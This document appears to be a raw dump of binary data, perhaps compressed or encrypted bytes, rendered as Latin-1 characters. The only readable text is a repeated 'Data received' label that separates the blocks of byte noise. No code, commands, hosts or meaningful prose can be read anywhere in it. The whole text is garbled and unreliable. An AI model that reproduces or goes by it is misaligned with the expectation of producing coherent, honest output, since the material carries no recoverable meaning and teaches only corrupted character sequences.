nñÛù´Æá¬¸a÷).S«yjL©%dåEFÈ¢¬0&¯`]ÑDæ]·{¥ì9R]\|ðÐåpAÀrØE[¹?#6àù6qÂÒ4÷1(ÎUXXäU0MÀ}¼¹O[æíÍÚ~Î¡ÔÌÔ\BÊÁ§vµ#)±KlU¥7÷©!8¤ç>ô<ÆìV@ÓH¼I&ÉÌ1Ö@>ÿÔõ¾@>Ü$ùìÅyîçUyú>I»jc¡·ù£·+Å\|`1CÜaáÜP°öX+ÆÊù$Vörú¨Éý¥5ÐæØt7¨«ãèMØXdÐF²;Ù!ÛO×ÉvÚpNq ?Ðä¯ö¸a¬ÛÛÝñÙôä÷£=õs(_ ³Úì ))Y°+5ÛH. ·"Q]ÐÓ«A{äuýéÙ¦úW#Òj`Lëla3ßH(;v,1m,dÓ¯´DÁ5NÄhdoÊZôÛC®ÝÂcMóeÎMOøøø45Ýô{YÊÅ~æLÇ {ÔºÄ~W+Þãnxk¾Ä[?Ücc15ËM+¢L«¤%Ó¿pxïtÇ-Á±½å'hÅÙ·nÂÒ¿'òýJ ·c}·Ûú%öî8\|Zb?å·¾Ààñê;ÜÝU"«i´vCseË°ü7mZlÐðã4\|Wüú(/ P?Ç2LÃ %ìæ[Ø¦FcÙë£ÚÏ\|¼tÂs[Cëê~W²©Q¶os75DÙwºFÃ÷o}ë(åe1\QÀó8M^z=ÿÔÒ\|-îM¿xÂÒò´þw#ûT½Òu,sS£eëF¶'o»O"þ:3Èsm0eèW\ÄVy¥,0îyõ©KÛb,tüÒÐCð7ÁkåÖ=bØ'ijÓaBm·éñW&t[D[4þÐq+]&´¾õp?\|î½ÅÔèºÆk ÅÂMºÐ(ø3HNXü8?;<üÄg'5Õ:êúJwÈvxØpÉ(¯hØç2´ô0ÿ§`À°ýüõ1ërm&ÓF#_ýA»¬/µÐìÓÓÜ ,jAxÃ7+©Ui¾´= ñÚZÖNvY¿®'X¿¯oBG£¯Ë×Nu_²>&kKÊë¶®/×{Z£Ö p<Ù53»© nK"£w»\÷§,ÍçpV«Õ[#$:ÚHZ¿À6>íhZ@¶á¬54Þ¶æÌ zú%bÚøM¹:!õsñzMK§ÿGðE{Å]ÿÀ$þæd×íTqe.!½ýxírf,º&/kÛûVÞxw¤è×â_w½ÏcwÙl«ÄìÀ8ÊÐÕ;®ÖðèáÒú´¡}ü'äñûeÍ¥1ëõ9PñãQÊÍZcúålU¦ve]aÅD'´Bq&Õ%¹üâÿûè2ËÐÊÎÉ-¢ªÍ,7_uãQe¢'.Dïµ¬ØþÎ¸Iåälóõy:ÁóÔxû×cû-?5Í=Î´±H§éÃõ[4ã}kN%»ÍëËtØ$Ó )=Ðâ§Íî¤5§RÝB&ÏÓ{¶FaC°&³Å8ËlãYÂ¤õgºlV×¨4ßfÌÍ/{ÚÕÍP1«ç8TÅz@ ëjZ?ÔÞÙÅ¨M©= /¤øË÷²°ðÄ.©@Ý6î³w×.ã=`&"ÛV^7¶xâÊøzÀôè«/Á¾ZQl5Ûÿ4iÁö?MN·õ´Ö¯½Úè úßU°S}«mU,gþ´.Â^1°Èâ;ùÑÉ=zÏÇÌvãü=¬cXtÞ"µB¤q4½3=ß¼ÎL>ÆmôC¶¹~ñdÚksgic©mTÓÙÐÄ¦R\|jf?[ÆÅ1?:_¿¼lgçÔ{¿ôJï0yWÐÓw@¢wêªÔÉUJ¥ÔÏ}'ç³ó0v\|[jæjsy§ÙBHwZ?25¶^ÛÞDÍ¦×Z»È©¦¯Ì62`jìh:`64)QùðÆÓ,Ù¿«ÙÓ ºfáø±ÿB®¹TJ7ÓeØåfÒå½b£Ó;ÇXBéxä°µ\|£ÔüÍW¥üÂU7mïXpaR¨¦küO¼)óÏ3Nö ×iûÍÞ[õö¦ºXCÇÍö¦Õ§ÊÈöwXUüÛ+ý÷UQ<pyªª@÷øÊ/ä@U(Å¨L¾e¸Ü¿°îÃàÓ©Ò´9ûáûªh³ìßÔå7xÚâ°ÿÙOÔ^¼¦JuHüçª³4ËsLï>L¤%Íw² ½õ¹åMØMÍø[§ºc<>¹é Ì~Ç_RÓAýò¹¡ Q::VÅg³wÙîh¦nÓBâñÄòþ&½%þ¦(WÜî>&Í(ñ-M}Q¢ø£©q7äºc¼3ÍM}æúcÜßdâÙõIýM\|dèÞ½»ï-vHþDs³Þõ7eh÷ÞQ^0´ûúY%ó{×xtonË£ýª: ' J®ç-cl
Data received	ízµ¯Å¸ve÷¨É¦Õ:;D+¡CWAQ]Öéøð_Ë~Y/`óè®©ºäá¯ \:O?Í° Ë¸t]shÒF ½Êç£ÊÃ; âÓQ ¸ÉÜBUìõÁÄè¿HlFÔþIa·æ3U^Þµ#þz`Û\|sO¶D?£ë«Æwü`)¡°qtC¤lhA{9QëúJ=®ÀíìTèPK^ë°¹ÝmõhDÚ®)fq5íd5mÆ[ è5À.Çk¼Bh3ÊåuºÍ÷/.]ì³ÅÙ`ßÇæÈJGòO(þÁ´÷e5x÷+ï³<ÄBà5¨ÐD !:ès`Ð_Qû[\|Ù{ýæ _ëAÏÀ¬QvB²Hûå7×.¬\$^[eâ1G~ÀTÖWqôCóå®Ùxåz¦\|¹µ¸ð8ny_í_^eRûïºÒÉ~mp¦°_ñ~¨3 óo"1ã}8¼µþmÑjCKÎ<Cku{l^£Ö¥o`G§úQ [mq(ú .¤÷Ù[cÍXÚ½üBÑðÌÈ+ê + ?;«qQýrG¥îZUÉOÁ«´!ÁJû ½XuCÃ[êYÌò×e;\t×µ@Jwã·60 èã\|6GèºH.Ýãáÿ}D+A{Ò:û'tZy³·¶·føx?L`´qÚíe¿ª<YãÈÞ6Ú[1SØhn`uõöÍ²í·ËeÉþ\µØV-ðOp(Onµa\|XÌ· pÿÇ_úÔãd+´þ©<pèE2Àn? ¸¥KL6']wäÓ%'tó(6ÆõrÿáhuÀô!»Å©µðÈ÷¡ é%R´·æw@½úÕd4þ6¾ø6»\pó1cêà²\1+Û^m Q¹\¤(¼ãÀ¢´»à{`ú&LÌÞsBc=Amwc6êÀ(õ1w)\|ñ¿Sø4} HPõoòYüILE÷´;DRÍóuÅiaµ"ÅØ:n:k»Ñ2×Jº×tÎ5fz+ÙKüå_réBj;E{ú¹,Ébiÿ8t(`-k30Èò?{ aÄOU¾Þ]ñ+ÏGïQhÂQüÐþ)Þ1÷6tÛÙÓNÀRJ¯W£¢©MúªsÛdÙµMHgëZt)P(6?À)¥è.«tàÙpB¡ÑÒ¾äA¨ì1Be'Bµ· Ý6z`óÊµz'pÚ£´?dºb; å½AËE?èd éÊPS£}nÈP{>¹©=þ5~QÿëÝ=½] SôÿüÂh}þ;Q?¼4K¥õ°=í'Â~g¢ñëØò6,~#óÜÖb¬¶OD³\|,Éî÷Zi½í±¶Þsôî"ü-ü6Ñï(È~Ì6ÊCFë68BÕôðlÐÓÕæ^XhÕZÓ 2jûöÈé¦=òÓ¢öÈ×ìd[ìÝxûJ'd«Ä äsyv"Õîzv¶»H´i4\|ä©Åuá«äÇN6É¨º4²Ãäe+pd¢Â6®~á úBi}_/¦%¾´Û^ÄÀÃíµÆóö$Ì¯i½Hzl1Òs='S¯ÃYAf?¿£øK'üÕÙàð)Îðº06¹6s"MÓnÁô(ßgí4vÆh£»¿ËtåíöáûõIhÓi6GÒ÷§ÇDcm/º\|aü}üì¾)?7Zÿ{ü81½-B¤BºkÝÐ¹ÖÃÏìdüÐR»gÚÄ/Í¹áüÊJv~N# ï2Qó&£#ïºÅîÅoÑ£¨ý¤ÂiÁ>aÎÝz anãQÌe©[£¸d!å6f]uö2#(×æâc{ÛÕOµ'Ü³¡ÛÖ/ÅäqA]£Ap,Ç×KÔÝÂ18!wÈJ{6ëÉâ ;¯¾«{²zLiÏG L÷u9ü^Õ«·ÓXâlk²zõçÜ¤eín^¶)³ðgI»Þ±ÀlÃÍsää?;Å4ã<Þ#³ÜGæzúYé#ØóÓ#x<Á¥©pGß?Ãá{5ÈGÑ¨©UMÖZ¶:oCþñ8w['ß²¢\ï2<g¦qZØî¨zá¢!²tÔep¶ÝÅ¢Z@VYYdñ%Z/<«Y§©×ä¡sÑdZymï»$Ú}ljX/úòxe_p·ÑvãPÔFM ¿Eøð¨NQ6 ÷6[OÎGÞk·ïh¾iaeöMz«àTz5&³ÒCµ5°yOÀiªavÁ)»UBt5äZÖUI,Èê=sn²cÝih8"$í¨e2¨Ñ¹ºÖçÁÜê\|æstuWWO ckÚ5Ý#+ ¸\|ÞbOm%OUìc"n¼áôÿö$èG ïWòpYÍ ÈBy<hãå¾Ø]úY«³ýÎÛ~»ù»Qõd¿1Ê¹µ2): ªEu¾{î*®ûx5ÐuC\wåLÔ]9ýáGQ ¯ÙÔ¶ÀÉÞî3/¡(Sÿêg±t×¤-îµµWãw¨{£-^Úßü%ÌòNºÔì.ÝUé½gÓ,úãD}qÚ)²ÖW1øzÆïh©[$Ömoìá¼íÀRZÕõfa ]íé¢Í(4L]ºþ© ÅßrtWwëùå·ïù\ÿãþ¼ãxÊÑ)[âÎò°vóËÓH¢1âK,?q¿Õ?.ä@¹®'»²E/ÜêDcÝ léY³w§Î`^\îç'ÄpLg½mÿ"_âÓäf}³ÚÕòe¥£zº½{©SÆS¶ýÅ®eýxJ2ÚöÊÅÁÚÕüG!sO0£ 8ß0DIöÑàÎð M=¶zÊñb-0Ð2ïëS6K,Q@ô\|M.>g9y\|ÐØr&Çãèz¨e7à-ëÕf@Ô,bØÖØ6««¿µÛ=9jÍÀ¹°D.z5å &3l+V'£\|üÚïÐéÙdñø:^öÙnÉìh¬Yz=6Å"^7zgÿ&ËlW¢?Ç»vÎúå YYxhÊDÿÂJ nüïFÂa}MØç'ÐÞGª#s ª¾Íq&q?ùðÇxÔV8tDiW¬31Ò'®ð®nÆCª&+úÐ¶¸¼¢2#îF!j`:ñUó¶³£Ï"WvâåÁðc¶yy[õÕmÕÿDÄÕhÑ¦,¤4îBcQi4¡ã«Ñu0}¤}YÒl^1h X+\|µdù ýØ@G¬LµÏ?ª»û&ñt¡ES6JÁ(+ÑåHM\|FõÖKôöl"5qÎ29°"Þóvñû¡«¶32MV2qrÆB#óÎDKêÿc:Eô½É:ÞreA®üÓ_ tÄÆe
Data received	øM©Dæó?.!°ú'tQ³µ±Ø=ÆÀºG[¤0µ£a¦v c\Ì«ði5¬ü³ÏfoBÚí¸¹R{Åz+³~A)XqÃ£SWqH',1¤FöôÃ¼Û04<Gc¤lÔN<©3Êç¥óG)´ê@Z2Xy~"±tÝòZ.váÏñv]Ç }Évè/ [Å>DÂt?]ÁÈq£ÐJµ$&ÄÑXýô6%¿ù{ÈN¥kaÀþ¦ÓÙMÅ Bb32Åî<Ïï §3ïDÏÖIçlòã9r¢»5×ÁQ:Mô;HèÒ\|;y..#¦¡Ææ½~èáQÞÃÕTÎÙXdû6,Ë(æc=rç9iKÅªç²ê¤BX/+j>´¿ñº/13u÷=ÞÝ¦´Ý½£ÔöYö)ú>üØ^#3ä÷G&ÃÉu`Eê¦bÉ¼Ú¬ÉAïc=Ë]CþõvÀ $®ÃWqnì@R<î+;NC²/±PJE'µip¿çñÇkÐ4^;RÇW"BdßD?8BÞûl±Nâçvâ¤_óÄý(©¼¬«îqÚ/ÐÇi(\|qÚÜ6%=[óÌLOµRô'1§z=Ù^é]fQòÍÙÔ\|sÒTb¯F.öL²¥F¹@h}ÿl@?<?¹"/9¬oÁÜÁê×k¸Éö!vXì9;]Üµx>n3çòúÇ±átl°iåÓL7mg¯Ùh>ÿ8Ds+H43l)$ÝÿñàÍ8Êà8-yæjÛ òµÎOu«¥Ã@¯ ×@#´Ë?ëädúEc¦5³s8mÑB~þ1P¤ü£Éd¦8o©3àwÓëhÿoºPKxÿüXÔRÁàãÜíò}¯{MxÃO;Õ gbvÔ¤X¡)èÙ±0Gu ±]B¬ C¡#øÙÃdÜq?5ÎcR©2?rN©§ím{ûP®gÈ34%))ÿ)µvY)#mJXàaÚ°ÀïhWßC%-ÉSÔY'5Øe'0ª\î[éßÊ+Ôàyê3Õµu4%/¬då¨26,N'³ÁôxM]î®r?à,Ö4!ö©Ûµmç1épÖ'Bl9dBa:â-Gûç£ÐwcÇ$!ÖÞ3; Äv=_6kTÒ,M§Jè¿Fþ·níK¯Ò\O.§¢"ôús`n Èm"åØÁô¿ mÐvdí¤yÞ[<ÕÀÚï5PÓM.¯ß¡sð¸Â·#d(Ä>ÅD[p\|ÛÞô[Ù(»¶ÖSMKaPª(±³JÑâCcÐ¼¥ ×Ì»òÚå3íâ\|7ðaY«Þè²F¬1/Ï¥)¶ÆUû¦/b£:ûÞ¡SéhË JêhiÄÑ¾LGÒX°á, xWÈb¹úÁ77ªÕE³ ¢¤b'$ÉdF>È\fNºrÁÍ£wíÍÙñY!¶9(Z¦PfçÄ çÍ¦ùY}ºÞ®Ç¡Zx@Y¶ôß5¬ôÆ¨3úp-¾¦åö)uÊ¢tÀ¢ÌmâïFs'ÛF¶NyÄÈü(/`FìÏ©§àn ¦ºs½¤i:Sõbj ûy· l#ÊmC^¸¡yª¿Ê'úóCº3 Cz¼¦éTu²ÉÆã¾mÀ¿ÀO4ô³O¨á:Aq®~ËøåQøÛÍ§âoU&öàå£9%°ñ¥ñB¡qØTNú=eÞ:ØWüè Ønlì_/ªÇeXÜ<üñ dn6³(^º/ö¨ö²+hñQÂ»{?Ô({IÙ¡TlóLA±ÒÄ¥Xë;ØÖë5iF63ùëÒë¡X©)þå)¸°N>Áâ^Blh 7Y~`ÑÜ0iÆ+ç»<¡!h?³«lñI°¨;ýÑIä7ERðw¢VoYoì<.}õ©;ü21%3ëÑÚ:`qdM ákó çh¨"ZçÉzàú'¡ª¨ßQhGéhzTB;/asßº-Î9Unü±çMD!À ÔÄÁÎÇ(«HºLÃ0ø/Í»êºÅà0/:ÙÂÞâ$Bw`òï@¼RuØö&ZpòÃM ±ê4Ø$óNÏú%£³Ú¥½zÑmåîjTiPø-N¡m(¿6é8îÑA=*uÂ:-àÉ&X)i®Àr+yÞÂß³#ÇÍÂÊ±=(Öì.B 7dmîúGî¡\2Óþ£·"/¹4nÔ¸d0)«_þ»¯ÙÛÿrÖËq %ãÓOË;ó3î W=¤Ê¿òzQGË¿µâ?Îº³J1\ï<¤æ±a<m»°ü'&a%Éj¯ó@YÜHÛ)È¾k?(ÏÙ Iäqé:ÎQ¶}ÝÞ'ÄH¤??zLÚþ¤}â®ýtûÒ-]!ºt=ÆKÛÒæ`ã§¯/Ú0QxåðÎãO §em(yi¨éq$´$á'ù(·õHh®Eÿ¢7ñ¦?ñ¦ÿêÉZãÚ\|¸FrÛÄÉVÏdËsÿ~¬ÐòúyCòÍÚÌæ¶yn³,íù´id@o>.Þnko³6ÄùK×ó´Lûë(¤èþírTkÎò¥1u~Ú÷©P5[WK1=¸åE¾ê¹óy¶aSúÿ÷.àQUWÃðKdÈ0@(QG&j$Q'j¢0ËÒÈkfkÁ±ØW[ík[{··¥µå¦bB$¹c-(UÁërQCµÏK2\ì÷ýÏ§ÏsöÙgí½×^{Ý×8ïQw#!½KÞæO@Ç¥t¯ËÞa^ý5&+ïíMsïõöNtïBñ¦¦G;3nô=çÝ®D¿q£y£q©S¨xA%RèÞfCù Í÷æ½1}iÒÔàKãFë¨\|\|é ÒN7²¶k¤~IÚ"&&f±Ýk?³tP·¥úWðæ«ßzEú·(vÛ\|·[ÿ[´+Ü-dû>Ä¶M}Ø§2^®¡ÂØv4)ð,Ù^ì/çOU$<mãYo_Z½ÑkÚ¦V¼úQ°W0mK²ÈÐa ~äí½ÜcbÛ¼ü³'´zà1sóOðÀè»Ü MGïxO¢ý'.0WyûÆ³wëã^1;õMê<¼s¼yÃÚËZÚÆ-¼ÇÛkX^©ØÇ«â,oÆbI-È/]:èÉ£ÕÞp ¤m-ñÕ¯¦_tï nÙ8Vº±Ç{lÐ»SïoÁqÝ]Mp«?gû÷áøÁÆÅv7ú%^'Ì¼6oéýRMYÐ·k@ò\|ÖÁçOÕÂ¥é8úaÈêßm/àí¨]_àk]ZÛ ¿kç}4nam ü£i$K»½@-ÙÃÙlj.,ÁürVù±05¡
Data received	"ìÕ,aa_ÓO§{ÇSæ>åzÎ{ó¬ ¸M¾¾ \|}A3ðõEàË]l__02øª¨Á«¦Mè\|hOµ®îH\|=PnÂ\3ìyªêý^ß(ânìYmsC¡ê[²T"«@r@f/ã®h©»I?\W,Upwõ¾ÂïýßÒá.ù· \¿ô»Ùá7Y:ÉÕ`ÛkÄÞ 95bîÜ#æ0e$Ì]y@¹¡ÕúP9´¥#r7ûF·4À[o£zÚÜè\|ÿ¼úþ ¿ß?ÐÏAnOóý¦âz®e`¤e NÏ¥óï~ïe#Ãée¤3ýXºÓGpÔLN\|cGÑ53÷\<-M@]ðîtÉxæ8½Òã.§eõQ´\9ÊëEÿûÌ?Éh~5zB}§ oü+Èß-ãºo¹ëÔc;IyD®,W}+`á¦e×Ïïq}Ï )ì£²©ÒI«ØN#,ñnxX²<zX,7ÂSFüúY¡þÇ»Ê'<^iý.ÚÐ¾{åQøÛcPVÂ"®LNEïÙ§edý0Ú¡¾{WJd:È<±+ÅK[©Ú'1THºá:{¥±¾U,\|ßûÍÊaÌ±ak5×O1bxaÌNi Í6BïìyÂ£+»$"{ÂÞU½Wò.YúW=µ©Ãrw»WFó}ëÚÝ £Á#UÑúl(ô3õ>\ùäL1n¯g¸ÅEÕ¹©àöÌ,Ü´éV··V3¼ºdºæA·ÛrôLNz4PÇ¡wÃCcPwe¡)#Aýôµ0êòJÔñ8î¦y«-²ç>ý¥ý¸ßçåç®÷~\|îÂsï^ûÙ×Ámïªþ7WþÿóûäúÎ¯å[ñr®ñßVÐÿ(ÿO$¥&PÏ¿Ïëy¥ÖÇsÖ!þ}9þi]<îeøãwòø~OäôëÏÊñktùq{äß-ÇÏÑåÇå?_·éò7¥ÒüäøßþT¿B¼CG¿Ú`ÿßû¯G:û/Ç?G¦û/ÇïÔÅ#iñÏÊñktñ¹¬ý»åø9ºø¡i\|¾oÅ;i<Na±ÿrüo_ãûcÿåøwtñèø±ÿ¿ûÿ¶üÌÃ¬ÿrüÓ4>ëa¨ÿøu.× ñÿ}×òc¾Ç×î¥h9´ÄCÐl<Ä¯c[¡è:qZCs[áz5ÒÞÃVv99)b&xÊÞ@c¤n}r;Äkðn¨«õÇ6x=õÕª½5âc2¡Á[ê´±ºÞï£KãkGw³·¦ÚÝµxh·:îêk!älðnªmlðûâ¼k½55ÞÍKÛº8På¯×µZÝùCm3s¸m³Þ ºtVq¾å};Ý¤õ!79¹É`%È.7µÛM\ ) ÇKÝäd8«Ý¤h${ÝÄW÷1¼×MZ O;ÈY7Ü÷¹I®ßMnx _+ä/Úé6»É9_ið%´-nRRRî&··ºÉäGÜ¤ ¤d2 e¸ îhÓ%¨o`¾Ëdóí\ßÎfÛ2Iµ º}eUuõµä£»ðw(¶6TQÖfä¨çÛNü8ådÊ²C«°Ý þ-ÎÌ÷ä» 1+2ä6,Ú¦ÏØ!êÃæüp· f.±¡¡¬þ?5ÉÌÈË ks%rä=cø»Öÿjñc/¤øÉ^UhÀOÚn´Ì$g²Ü$Ó<THo($Ù{$+n(c/}(ëÄqAxâI<k?Ì ï&A.¸ç²zA\PÆë5Ù±O"iµiñÔI¤$Òg=®G%¾ç =>\×pÝÌukÈ.±yka\î®«Ç]Tg6JÄG7f13óM~¸Ä¶ ÔÄ¼2ïðµ¸Ó^ÅÏc«AMÊËnÀ÷® uÞZ_¿GïÓ¨[[å¯ÜkSÚçê÷cU<å~vSù}üÞ£ô¯Ã'@[I¬È+Ó3kMèÜòpG®ñö7l Ø}Éð±ºz,Æé[¨ð¾çà~¿M±ÓØ¼êZ¹ïm´«ª¡è¢ ç_ÐÊ ñvj2e](«`éCÐF»÷ywûåFcñ´(Úgð6æ_Ä]zyjÏ IÙNÜfW\+·ÏA.ç¢GL Ö±n KÉ»¨>Oõ7ÁÖá¯Iä[zýep æÁÁà7Á/×«e¼Û '¢=\|¼ßÇj_IAlØT§ØNµáâÇjÙªêtè7TeäéTcýÁwxq¯bè×ÊE r,¤-ð6°l¸ áZÚ¥e¢Ã÷aqä°ä¬.¯±e ûqÓ²/l]«¨éÆåÖá³Q6hRa®ÓIÊõÔýQå0=ÙÑ[ù$FïüÆÈ£7Øµ'ôáPÆòpDlòééL¦Êz©L}ÀÔL%PÁÔ#Lµ0õSï05ÀÃÍ20µ©CTÅøóØí[ ´m ã?£z<ªj´fa6,ÜÍ«U+¯Q~; x?ªjÄwEÈq¬1¤qpÄRp¿ óPÜ=ª¬Qî¯¸³ 6ÊS¼w]ÁfC¢ñ_ÆY°E{6îÖTNÙÏq'l3$±#,¹Ë¶;Å} wÁ#Æ:dîð(ÁýêqN4úGîªòô/NñÜù; KïÇ1oÈÝ&&ø£6A¼Úâ¼Üc-d×-\ÿ¸Íß7Ï1á=Äµ¾´´Ç3lIè# §J¤ä ÈMï@âA] © Y E 5 Í - m í G@:@:Aº@9ròkÿl2YïLð,ÚO0 -ß¢á¿%®@ÞD2`éûßÑNoÃºú}ÞñÞ·¨ ó1aô·KÚçQR$Ñ{oñû%¶<kjvTç°?>e°k)@äLuläÄö»øùä>U¯<lÂkx#©ß&XÏQ `§`VÁ©Ì6j¸v46Ø/}/}ùÔK&àì;'Ó3Tuá)$ÄÇä0¼ÆØsáEêXSWWã÷Ö² ãÖ+g}ØâðnèD1Osá6~H0QWg©¸ÔõQþ1§g½7gÁÚ`l\| b+èL±èsës}O½D¿õsý#IäØC¹~`]¡a®ù¯`\|7H¤ Inß85ú%Ú1gò±{i?Ë`-ÝÍ 7Ã8,¡3æâÚuMþÊÆ\|·'Ý´ßÇæÞ8êvP\ÓÑÈKÄ¹ú=ÞKâÈÔb6S\_Ìfb Þ þê;ÁÛÅòóJp¦H¼%ìú®WP4÷q= æ&··wvèiôÚw@ùÀJjÃh9³1ÂüÑS/?j²ÙÈC´î ÜX¬RyPéëÀÕ6O=&k«ªk\|0$X=$F$]Â¹¨½¤¾®24Q´ÖÕÑ1½iý&?ÐgQÄ³çe{÷ÐîÁZÖg{,w"±ë\|¦HR,¶+_\|6Bkè®¬iôùËwªãLj××äLY;uM6CMÎp5e£0ÅãÉÆ@Ça09ÈgDz!$Æ4«w;¢ßpa¡ÒàfcmR)u³«ÚÊVä$±ÄæX»çÈgièÎC>IÕX:ùÈVæ?4C×>BKî]à¡T³´í^ªïåÃvî¢pºEÝ5ËÀlDHJÖÇvòë4®.Ãý»Ù·CöÉ¥ªÂØòròqIôí(Ó6ÚfGtEÉ¯×ð\|[¦y×ÂÓ#fïÚ&ÖåøÜßÙ½=ûIÔ·éü/\|àaþýÙuæ&vÔÊ¾ªÃ´Âa-Øè}=4æ]BIÏ×Q&§ÓF»§[KÙ8×$Ën-U~,ã6rDÕô&µçÇ&¯g¡ü{µÿo lÉÿÈ@TãÆ¬">fmÆµsèÂÖ5cåZ¡ç*ó3åÂVh<".î¡7Lþ,ÿ½Æ#Ýîß¢L c´Ç¿Ñ ¢ðø·¢-¸ÚÅ3\|ÛQ,sÅç< ÿsÓW®ë¹[á»îýß?UÎ¾k.JQùÎì'anù¤\¶Í-#Ëvµ}ÙÜ·Uv·ém¡:fäIÁD.{«jü
Data received	ÆuúõÇ¬u<)ôÔl6ÙFa´m>ÇÇ>µUí±]Üa<vÊ#Ê3Ìptô)~?¦6ËcýÖ<Õ6C~¨:ôÙ'$Õ¹ig6±sÐ7[;7íÌ&ý¹iÉç¦µl¶¨¡¢ëpýn{ü¾¶h;[T±g;?ëK\'þ)ÓE\áúS®SþgÆõßpýk®í;.áú®/p=ÃËt×?çúw\;w2ÊõF®ãú5®¸^VÉô^®ÿë7¸þë>Ïu·½L¿ä×Óýìch#×v2ßzçÜfÉxZ§_3$VîfÁxÓ¤KÞlù4mF\|í A«yBôÞ×µ,âöû<mð Iw¶w8¼-¦É6e³r¶º-ÿÏÜÓÇ7Ueù^éZBÕéºE"»#(JâhK15MùbÚNZúEJ[M×¸QÙ:Ëà°ê®»ûcP°âÑÖ]ü)U¯A÷ÖV¬TÞsßGý.³¬þwß}çÜóyï=çæå02hý 1Ò2hÍECT CæGZm¨¦È°Ú,e.Éêïd×=jjdeÐ/vv.a´¡ýl2hC!¦ZsÑõAk.U´ìÊ !Û×%Ì>µÏexuZð¬¹è¯/xÖ\4êg·^Sð¹ÀÛ,úgÀ\Ú¬¹h¨Òføt¨AK ÚÁJ 5Ti³¡0G]Úl¨Á/mÖ\4\|i³æ¢áKõßcGUÚl æ¯«´ÙÈbL¢´Y-Ìfiÿä¼¹h°äüv.¾¦îQýÃÏéSÚ%~-¬Ù¨vAÅíÑ#Ì0æÇmfåÉ~RÌrÉòe[ñ åÉÞÜÅ}¸5k¸òd½[³,Oö¦kÈòduyÃ'sæ-qå¯I¸·àÑi#féxÒ½¸!T}=å$9]XJÝQÞ$K'¶ØÝAxËò\|\|Ögåyêk¸'öHäsÒr´Òý_]ZíÖíøÆ¡m{r<BZÙ¹Q7^óbn«ü^n^w£< ±6øÅhrÖ@ZìÛïÓxy&·¤ü§w<õOêöõÞrèy^ýÉhh¾\|,gã¹Hç½ H ÐÙAÆßUr_iW(ÝYèM&P7?£Ç÷Hõ~SýPé@ÞrE»äÉ2è.åÐ¬"ÉåVÉ«[Õ$¯µ~ê6Ø¹ß&";êµûF Që@!MoíxZëhb-ê?mü¤ËdM÷Dè}h°ÌN3<wG û!lìhÒÆx^¦òÖ¯ {7#FÚ+mrÈfÏ$Ûñ÷)öxûNÖÞÉ@z3û oÆ bÏôfdû"oÆ¢Î 'Ý÷´ä:½¶p«7Îg;Öp>Wp7WÄQï`Êìà>ÃîO.Kô/©sAýüøRù²e^sÉ0Ï¤ùwôHï§T7xù2?Àq{Ù«}à×x&Àqì<ô0q6§z ÛB±øÞtOø¤CXZ¶<àù?¿.É!H; Ð?Â þêyÄYH·%BCh1%z¢v¹´8µU¼\|ê9$üÞð+úJlX"iÄjõ&YÈ¿Ya KËqÈL!tÛ±«RÀBiI÷M¤$eøk'¡ãÈ ÜËó'¯øÝo%z®xª 9qÌ^CÅaWaäB©IÚáÔá>Ñ06JZaj·ÈfÐ1:/\|&$ÊjP`¤¸Vâ, {S{$q/úÃ=()`F¡W¤¯\|ñáÙCçæ¯3Èûô^Â7HÕ³2RBÀÞûÔ] {gOÆ1ÎÌ¬ßýÇp^8ì»7æ¯!ï³q#ëý5pò>qÑéÈÉbhY_z[ÄßFHè$ìÿIä" _ZùöÌ1JL?à²"À¦ïÎíÜ±d%ßpRù§q¯ùtà3\NÄxh~\|þxÝÊVÇÔµ%ÇüÜkë%¶Þºf©¡g·µï )G]%áz3»Ð{ôÏ]ZnªE¡âyUÈ»d!¡/ý¼&åýf&eü`ÆyUKAÌ£ÐÕ¸´>=U"Wó0²PUÎvÖnô4µ~8ãd3ë3 ;ÕÖ+N"d÷¦æîè£lyÑÛu§ÍÏseY±¸@GN2ÌÐ eùzÿ¨W:Oé£ î;ª1¿¢sqÝF·ñ 8DÝ¹~¾sNÙnÒùÎýçTWÈ¾S1ïàþÕºV4Õïgë\Zy#oiøÆôÿÞ"¦z¶.î¦AUÄt$Z¸ ZhãRKDwÓßØVÞÂuò@ïpcgUfR½pÏYÙ'2fg Ñ¹@lðé@¼YõTU´Æ}Ût·4¦{×.ï;R×V8çÏö·FÈß4Q7 b5¨+ïÚ*tUÓwïUæÙwgú8tF#ñV¬Ä¿QIÈó¬æofÿy&ûÂopßÂµáL?¯ÐpÆêLn?£¼ ¢·zNçp'¥ßÏQr¿éýE¹\|Z#Ó£åÌiUr&íÉÐ?ÍèÒ§Qç§ûÉól'F'Ï¦Óª<Õ²<}å÷±upî1)þÀ^CDÆâÔ×1³åÌÓý¤»1Bt¢^:&]-ö²QúÈ¤¤ÝóÆ;V~\àõà=aºýd(0rI òÒNÞxc»ÍÒÊ¢ÉmTî50ûåÀ3{Z~fò!àx0Îkf3KS_oõ ¶/ú©`Ê &LÐ©àê)U"lAü#1õå)uüÙª]ÒÆ}<2ëÿí)Å®,ÈÿÝøú
Data received	/ÝIy@êxà!6J¡?ÊµâwéXYâÈlWP¬ó³í ÇïÑåáà²Ä} mÖ`ÐL&¿Ò¿9å]q ÷}öô¯³2G3QSX+ÔÍepéuËWX2çæOgK2X> %äyÄá²ÜHö:±{§@j;/ôk{ÊK÷=ôeùRYâ ÀÊæv3imÒÇºãQùK$çu9NÊm{Ü{8ÓÞ³±ZøåÃï÷DøKààÖGMé`"êµ)¬Ï¦)´³òÇ)ÚÝÓÕ¦=yoOÑìQTþk ³¾9±·§tj"v×²GQ6 Û8ìQlÞ<¥S{ý^ÂÖ¿0E³GøîÍEêö)dbHèÔö(íxwLÑìQï¢Ù£Ø¶yJ§ö(B^ÂRL!{Ö¯¦°âï§°Ìo§hö(Úk§°A?Nñ°G±ö·)´G±3`k~~ +zi ³·LaóÊ§0þx2A{úÀoüúmÂòB¦²c¯N÷ÙXñIÅ4ï¢³÷>l\;¢>y½Õs§ÁþÏ{hm6 È,¬Âø¹sn¦JÜÜZO¼çqa'ïÝ'Ï¡ÖÞ8tºÛûÄÎ= øð½sÁlï.9ÑªZ(qÆèrè»·qh0LX2ÈK>ùoìójqw<V²GÅú6@/}}_crjÔø²ñQ© åÒÎág\|âbù]éç0µ?¨ øÓhÑu34»«ïÐÛ[«cWß üÐkö¡=w³ï½}zÔ (\|âý2íé0zï×=ï#vmy]×Å^-¯»UóßákÞ·±þð»~½ÞïüÿXTüÇ¶Ãðm}_±#nb¹}îå"l`¹xÃä¿ÝuóÛ²ù6Ý»$@»ïÝZ#²b½·iÅ#IqsôÞ¯KG®Ä^89Ó5üÆ~ÿï¶Ö½°B; ¸80ÛÓ×ü¤zv<"®KÓIJàB 